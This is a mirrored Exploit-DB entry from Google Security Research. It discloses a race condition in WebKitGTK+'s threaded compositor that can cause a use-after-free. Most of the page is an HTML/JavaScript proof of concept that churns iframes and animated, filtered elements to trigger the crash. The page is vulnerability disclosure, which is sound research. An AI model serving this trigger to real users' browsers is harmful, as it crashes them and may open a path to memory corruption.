WebKitGTK+ – ‘ThreadedCompositor’ Race Condition - 体验盒子

作者： Google Security Research

日期： 2019-04-03

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/46651/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

<!--

VULNERABILITY DETAILS

The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.

REPRODUCTION CASE

-->

<html>

<style>

@keyframes foo {

0% { opacity: 0; }

100% { opacity: 1; }

}

div {

animation-name: foo;

animation-duration: 1s;

animation-iteration-count: infinite;

filter: saturate(50%);

}

</style>

<body>

frame = document.createElement("iframe");

setInterval(_ => {

frame.remove();

document.body.appendChild(frame);

doc = frame.contentDocument;

doc.head.appendChild(document.querySelector("style").cloneNode(true));

elt = document.createElement("div");

elt.textContent = "foo";

let elements = [];

for (let i = 0, count = Math.random() * 50; i < count; ++i) {

elements[i] = doc.body.appendChild(elt.cloneNode(true));

elements[i].clientWidth;

}

}, Math.random() * 500);

</script>

</body>

</html>

<!--

VERSION

Reproduced on WebKitGTK+ build revision 240647.

This bug doesn't seem to affect WebKit on macOS/iOS.

-->